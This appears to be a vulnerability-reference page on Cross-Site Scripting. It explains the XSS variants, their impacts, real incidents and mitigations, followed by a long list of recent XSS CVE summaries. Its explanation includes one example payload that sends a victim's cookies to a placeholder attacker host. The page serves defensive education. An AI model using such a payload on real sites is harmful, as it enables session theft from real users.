Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (10150)

EPSS 0% CVSS 4.7
MEDIUM Monitor

The Page Builder: Pagelayer - Drag and Drop website builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘login_url’ parameter in all versions up to, and including,. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Smart Forms - when you need more than just a contact form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.6.98 due to. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The 4stats plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.9. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress PHP CSRF +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Page Builder: Pagelayer - Drag and Drop website builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Button widget in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the component /tinyfilemanager.php of TinyFileManager v2.4.7 allows attackers to execute arbitrary JavaScript or HTML via injecting a crafted. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Tiny File Manager
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Microsoft XSS Dotnetnuke
NVD GitHub
EPSS 0% CVSS 6.0
MEDIUM PATCH This Month

DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. Rated medium severity (CVSS 6.0), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Microsoft XSS Dotnetnuke
NVD GitHub
EPSS 1% CVSS 7.6
HIGH POC This Month

OpenEMR is a free and open source electronic health records and medical practice management application. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openemr
NVD GitHub
EPSS 1% CVSS 7.6
HIGH POC This Month

OpenEMR is a free and open source electronic health records and medical practice management application. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openemr
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A reflected cross-site scripting (XSS) vulnerability in the component mcgs/download-medical-cards.php of PHPGURUKUL Medical Card Generation System using PHP and MySQL v1.0 allows attackers to execute. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP RCE XSS +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Phpgurukul Medical Card Generation System v1.0 is vulnerable to HTML Injection in admin/contactus.php via the parameter pagedes. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Medical Card Generation System
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Multiple stored cross-site scripting (XSS) vulnerabilities in the component /admin/card-bwdates-report.php of PHPGURUKUL Medical Card Generation System using PHP and MySQL v1.0 allows attackers to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Medical Card Generation System
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

Multiple stored cross-site scripting (XSS) vulnerabilities in the component /mcgs/admin/contactus.php of PHPGURUKUL Medical Card Generation System using PHP and MySQL v1.0 allows attackers to execute. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Medical Card Generation System
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

PHPGurukul Old Age Home Management System v1.0 is vulnerable to HTML Injection via the searchdata parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Old Age Home Management System
NVD GitHub
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in catkin ReDi Restaurant Reservation allows Reflected XSS.1209. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in fullworks Quick Contact Form allows Reflected XSS.2.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Soft8Soft LLC Verge3D allows Reflected XSS.9.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Michel - xiligroup dev xili-tidy-tags allows Reflected XSS.12.06. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in FunnelCockpit FunnelCockpit allows Reflected XSS.4.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tychesoftwares Arconix Shortcodes allows Reflected XSS.1.16. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Mortgage Calculator BMI Adult & Kid Calculator allows Reflected XSS.2.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in mojoomla School Management allows Reflected XSS.0.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Joomla
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Khaled User Meta allows Reflected XSS.1.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in B2itech B2i Investor Tools allows Reflected XSS.0.7.9. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ctltwp Section Widget allows Reflected XSS.3.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in janekniefeldt My Custom Widgets allows Reflected XSS.0.5. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in phpaddicted IGIT Related Posts With Thumb Image After Posts allows Stored XSS.5.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in M A Vinoth Kumar Category Widget allows Reflected XSS.0.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wordwebsoftware Crossword Compiler Puzzles allows Stored XSS.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Missing Authorization vulnerability in dastan800 Visual Builder allows Reflected XSS.2.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Authentication Bypass XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in sftranna EC Authorize.net allows Reflected XSS.net: from n/a through 0.3.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jason Theme Blvd Sliders allows Reflected XSS.2.5. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in reifsnyderb Document Management System allows Reflected XSS.24. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ivanrojas Libro de Reclamaciones allows Stored XSS.0.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Mark kStats Reloaded allows Reflected XSS.7.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tayoricom Tayori Form allows Reflected XSS.2.9. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in GoodLayers Goodlayers Hotel allows Reflected XSS.1.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in GoodLayers Goodlayers Hostel allows Reflected XSS.1.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ApusTheme Butcher allows Reflected XSS.40. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SaurabhSharma WP Post Modules for Elementor allows Reflected XSS.5.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 1% CVSS 7.2
HIGH This Month

The Solid Mail - SMTP email and logging made by SolidWP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via email Name, Subject, and Body in all versions up to, and including, 2.1.5. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

Text editor embedded into MegaBIP software does not neutralize user input allowing Stored XSS attacks on other users. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

DobryCMS in versions 2.* and lower is vulnerable to Reflected Cross-Site Scripting (XSS). Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The TablePress plugin for WordPress is vulnerable to DOM-Based Stored Cross-Site Scripting via the 'data-caption', 'data-s-content-padding', 'data-s-title', and 'data-footer' data-attributes in all. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Tablepress +1
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Tournamatch plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'trn-ladder-registration-button' shortcode in all versions up to, and including, 4.6.1 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Tournamatch +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected cross-site scripting (XSS) vulnerability exists in the authentication endpoint of multiple WSO2 products due to missing output encoding of user-supplied input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Api Manager Identity Server
NVD
EPSS 0% CVSS 4.6
MEDIUM Monitor

A reflected cross-site scripting (XSS) vulnerability exists in the sub-organization login flow of WSO2 Identity Server 7.0.0 due to improper input validation. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Identity Server
NVD
EPSS 0% CVSS 4.6
MEDIUM This Month

Stored Cross Site Scripting vulnerabilities exist in ASPECT if administrator creden-tials become compromised*; NEXUS Series: through 3.*; MATRIX Series: through 3.*. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.9
MEDIUM This Month

Log injection vulnerabilities in ASPECT provide attacker access to inject malicious browser scripts if administrator credentials become compromised.*; NEXUS Series: through 3.*; MATRIX Series:. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.3
MEDIUM POC This Month

Group-Office is an enterprise customer relationship management and groupware tool. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Microsoft XSS Group Office
NVD GitHub
EPSS 0% CVSS 5.8
MEDIUM POC This Month

Group-Office is an enterprise customer relationship management and groupware tool. Rated medium severity (CVSS 5.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Microsoft XSS Group Office
NVD GitHub
EPSS 0% CVSS 6.9
MEDIUM This Month

Group-Office is an enterprise customer relationship management and groupware tool. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Microsoft XSS Group Office
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM Aspera Faspex 5.0.0 through 5.0.12 is vulnerable to HTML injection. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Aspera Faspex
NVD
EPSS 0% CVSS 4.9
MEDIUM PATCH Monitor

The Hot Random Image plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘link’ parameter in all versions up to, and including, 1.9.2 due to insufficient input sanitization and. Rated medium severity (CVSS 4.9), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Hot Random Image +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The MapSVG plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 8.6.4 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS File Upload
NVD
EPSS 6% CVSS 7.6
HIGH POC PATCH This Month

A cross-site scripting (XSS) vulnerability exists in Grafana caused by combining a client path traversal and open redirect. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Open Redirect XSS SSRF +4
NVD Exploit-DB VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 8.4.0 does not escape the title of posts when outputting them in a dashboard, which could allow users with the contributor. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Blog2Social +1
NVD WPScan
EPSS 2% CVSS 6.1
MEDIUM This Month

The WooCommerce plugin for WordPress is vulnerable to PostMessage-Based Cross-Site Scripting via the 'customize-store' page in all versions up to, and including, 9.4.2 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Woocommerce +1
NVD GitHub
EPSS 0% CVSS 3.5
LOW POC PATCH Monitor

Plane is open-source project management software. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

Privilege Escalation XSS Plane
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability exists in Vtiger CRM Open Source Edition v8.3.0, exploitable via the Services Import feature. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Vtiger Crm
NVD
EPSS 0% CVSS 7.0
HIGH This Month

Stored XSS in TIBCO ActiveMatrix Administrator allows malicious data to appear to be part of the website and run within user's browser under the privileges of the web application. Rated high severity (CVSS 7.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in Jeppesen JetPlanner Pro v.1.6.2.20 allows a remote attacker to execute arbitrary code. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Jetplanner
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal Piwik PRO allows Cross-Site Scripting (XSS).0.0 before 1.3.2. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Piwik Pro Drupal
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability exists in SeedDMS 6.0.32. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Seeddms
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Identity Services Engine
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability in Cisco Webex could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Webex Meetings
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability in Cisco Webex could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Webex Meetings
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability in Cisco Webex could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Webex Meetings
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The ns_backup extension through 13.0.0 for TYPO3 allows XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ns Backup
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The cs_seo extension through 9.2.0 for TYPO3 allows XSS. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 2.4
LOW Monitor

Input provided in a field containing "activationMessage" in Konsola Proget is not sanitized correctly, allowing a high-privileged user to perform a Stored Cross-Site Scripting attack. Rated low severity (CVSS 2.4), this vulnerability is low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 2.4
LOW Monitor

Input provided in comment section of Konsola Proget is not sanitized correctly, allowing a high-privileged user to perform a Stored Cross-Site Scripting attack. Rated low severity (CVSS 2.4), this vulnerability is low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Slim SEO - Fast & Automated WordPress SEO Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's slim_seo_breadcrumbs shortcode in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Animated Buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'auto-downloader' shortcode in all versions up to, and including, 1.0.0 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The DPEPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'dpe' shortcode in all versions up to, and including, 0.3 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP YouTube Video Optimizer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ib_youtube' shortcode in all versions up to, and including, 1.2 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Raisely Donation Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's raisely_donation_form shortcode in all versions up to, and including, 1.0 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Network Posts Extended plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘post_height’ parameter in all versions up to, and including, 7.7.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability, which was classified as problematic, was found in HkCms up to 2.3.2.240702. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Hkcms
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

A vulnerability classified as problematic was found in moonlightL hexo-boot 4.3.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Hexo Boot
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

A vulnerability classified as problematic has been found in moonlightL hexo-boot 4.3.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Hexo Boot
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability was found in Part-DB up to 1.17.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM Monitor

A vulnerability, which was classified as problematic, has been found in Intelbras RF 301K 1.1.5. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM Monitor

In JetBrains TeamCity before 2025.03.2 stored XSS via Jira integration was possible. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Atlassian XSS Teamcity
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

In JetBrains TeamCity before 2025.03.2 stored XSS via YouTrack integration was possible. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Teamcity
NVD
EPSS 0% CVSS 4.8
MEDIUM Monitor

In JetBrains TeamCity before 2025.03.2 stored XSS via GitHub Checks Webhook was possible. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Teamcity
NVD
EPSS 6% CVSS 4.3
MEDIUM POC This Month

VMware ESXi and vCenter Server contain a reflected cross-site scripting vulnerability due to improper input validation. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS VMware
NVD Exploit-DB
EPSS 0% CVSS 5.1
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability has been found in Koibox for versions prior to e8cbce2. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 4.6
MEDIUM This Month

Editions of Rapid7 AppSpider Pro before version 7.5.018 is vulnerable to a stored cross-site scripting vulnerability in the "ScanName" field. Rated medium severity (CVSS 4.6), this vulnerability is low attack complexity. No vendor patch available.

XSS Appspider Pro
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Multiple plugins for WordPress are vulnerable to Stored Cross-Site Scripting via the plugin's bundled SimpleLightbox JavaScript library (version 2.1.5) in various versions due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
